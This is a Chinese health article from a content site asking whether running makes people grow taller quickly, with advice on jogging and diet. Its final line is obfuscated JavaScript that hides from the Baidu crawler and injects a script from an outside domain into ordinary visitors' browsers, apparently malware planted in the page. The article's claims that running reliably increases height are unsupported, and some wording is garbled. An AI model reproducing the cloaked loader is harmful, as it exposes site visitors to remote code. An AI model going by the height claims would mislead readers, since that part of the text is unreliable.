当前位置:首页 > 健康 > 运动健身 > 正文

经常跑步能快速长高吗?

2017-06-12 17:16:32  来源:360常识网   热度:
导语:长高是很多人内心的愿望,但是长高不是想要长高就能长高的,有一些人可能一生都不会再长高了。有的人说跑步能快速地长高,有的人说跑步只能

长高是很多人内心的愿望,但是长高不是想要长高就能长高的,有一些人可能一生都不会再长高了。有的人说跑步能快速地长高,有的人说跑步只能十分的累又十分消耗青春,并不能快速地长高,那么,今天,让我们来同你们一起进入长高的世界。

但是跑步增高一定要注意方法,首先跑步一定要是慢跑,不能进行无氧运动的快跑,其次不能够长时间的跑步,否则会抑制长高的。

指导意见:

跑步可以长高吗?慢跑可使血流增快、血管弹性增强,具有活血祛瘀、改善血液循环的作用。慢跑时冠状动脉血流量较安静时可增加10倍,即每分钟血流量可达1200~1400毫升。坚持长期慢跑的人,平时心跳频率可下降到每分钟50~60次左右,这可使心肌得到较长时间的休整。

营养应合理、适量,要警惕营养过剩。有学者认为,我国对正在发育期的人的饮食搭配中,蛋白质、脂肪、碳水化合物应比例合理,按重量计算,比例为1:1.2:2.4。在防止营养不良的同时,又要警惕营养过剩,做到食物多样化,饥饱适当、油脂适量、粗细搭配、限制食盐、少吃甜食、三餐合理、以促进个头长到理想的高度。要想增高,应该多吃蛋白质,尤其是含有中"胺基酸"的食物,如:面粉,小麦胚芽,豆类,虾,螃蟹,贝类,海藻,牛肉,鸡肉,肝脏,猪腿肉,蛋,牛奶,乳酪及深色蔬菜等.

以上就是关于跑步能快速长高的一些相关性的资料,相信大家看了也已经对此有所了解了吧,跑步虽然能长高,但是也不要太过于拼命了,身体也十分容易受到损害,只要坚持一段时间就可以长高了。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}